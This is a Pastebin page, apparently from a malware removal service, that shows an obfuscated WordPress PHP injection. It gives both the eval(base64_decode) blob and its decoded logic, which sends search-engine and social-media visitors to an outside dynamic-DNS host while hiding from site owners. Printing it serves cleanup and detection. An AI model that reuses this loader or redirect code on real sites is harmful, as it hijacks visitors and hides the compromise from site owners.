scurit

Wordpress Malware - Redirect

Jun 30th, 2014
744
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.23 KB | None | 0 0
  1. Find this on your site? Need Help removing it? http://www.malwareremovalservice.com
  2.  
  3. eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKCFzdHJpc3RyKCR1YWcsIk1TSUUgNy4wIikgYW5kICFzdHJpc3RyKCR1YWcsIk1TSUUgNi4wIikgYW5kICFzdHJzdHIoJHVhZywiRmlyZWZveC8zLiIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmcuIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlci4iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInQuY28vIikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpIG9yIChwcmVnX21hdGNoICgiL2h0dHBzOlwvXC93d3cuZ29vZ2xlXC4oLio/KVwvLyIsJHJlZmVyZXIpIGFuZCBzdHJzdHIoJHVhZywiQ2hyb21lLyIpKSkgewppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgYW5kICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpIGFuZCAhc3RyaXN0cigkcmVmZXJlciwiRWVZcDNENyIpKXsKaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL2ZoamFrZmpnLmRkbnMuaW5mby8iKTsKZXhpdCgpOwp9Cn0KfQp9Cn0="));
  4.  
  5. ##############################################################################################################################
  6. decodes to:
  7.  
  8. error_reporting(0);
  9. $qazplm=headers_sent();
  10. if (!$qazplm){
  11. $referer=$_SERVER['HTTP_REFERER'];
  12. $uag=$_SERVER['HTTP_USER_AGENT'];
  13. if ($uag) {
  14. if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0") and !strstr($uag,"Firefox/3.")){
  15. if (stristr($referer,"yahoo.") or stristr($referer,"bing.") or stristr($referer,"rambler.") or stristr($referer,"webalta.") or stristr($referer,"t.co/") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"facebook.com/l") or stristr($referer,"aol.com") or (preg_match ("/https:\/\/www.google\.(.*?)\//",$referer) and strstr($uag,"Chrome/"))) {
  16. if (!stristr($referer,"cache") and !stristr($referer,"inurl") and !stristr($referer,"EeYp3D7")){
  17. header("Location: http://fhjakfjg.ddns.info/");
  18. exit();
  19. }
  20. }
  21. }
  22. }
  23. }
Add Comment
Please, Sign In to add comment